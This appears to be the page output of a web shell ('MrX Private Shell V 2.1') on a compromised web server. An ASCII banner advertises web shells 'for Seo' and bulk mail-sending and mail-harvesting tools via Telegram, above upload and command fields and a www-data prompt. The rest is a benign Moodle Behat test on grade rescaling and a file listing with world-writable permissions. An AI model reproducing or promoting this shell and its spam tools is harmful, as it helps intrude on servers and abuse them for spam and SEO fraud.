__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_data @core_grades @core_form
Feature: Using the database activities which support point scale
  validate if we can change the maximum grade when users are graded
  As a teacher
  I need to know whether I can not edit value of Maximum grade input field

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | student1 | Student | 1 | student1@example.com |
      | teacher1 | Teacher | 1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | category | groupmode |
      | Course 1 | C1 | 0 | 1 |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | student1 | C1 | student |
    And the following "activities" exist:
      | activity | name               | intro | course | idnumber |
      | data     | Test database name | n     | C1     | data1    |

  @javascript
  Scenario: Database rescale grade should not be possible when users are graded
    Given the following "mod_data > fields" exist:
      | database | type | name            | description            |
      | data1    | text | Test field name | Test field description |
    And the following "mod_data > templates" exist:
      | database | name            |
      | data1    | singletemplate  |
      | data1    | listtemplate    |
      | data1    | addtemplate     |
      | data1    | asearchtemplate |
      | data1    | rsstemplate     |
    And the following "mod_data > entries" exist:
      | database | user     | Test field name          |
      | data1    | student1 | Student original entry   |
      | data1    | student1 | Student original entry 2 |
    And I am on the "Test database name" "data activity editing" page logged in as teacher1
    And I expand all fieldsets
    And I set the field "Ratings > Aggregate type" to "Count of ratings"
    And I set the field "Ratings > Type" to "Point"
    And I press "Save and display"
    And I select "Single view" from the "jump" singleselect
    And I set the field "rating" to "51"
    And I am on the "Test database name" "data activity editing" page
    When I expand all fieldsets
    Then the "Maximum grade" "field" should be disabled

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
autocomplete.feature File 3.93 KB 0777
behat_core_form.php File 3.29 KB 0777
choicedropdown.feature File 1.74 KB 0777
dates.feature File 4.71 KB 0777
disabledif.feature File 1.68 KB 0777
graderescale_for_database_pointscale.feature File 2.2 KB 0777
graderescale_for_forum_pointscale.feature File 1.82 KB 0777
graderescale_for_glossary_pointscale.feature File 1.99 KB 0777
graderescale_for_lesson_pointscale.feature File 1.83 KB 0777
hideif.feature File 1.81 KB 0777
modgrade_validation.feature File 7.05 KB 0777
repeat_defaults.feature File 2.09 KB 0777
Filemanager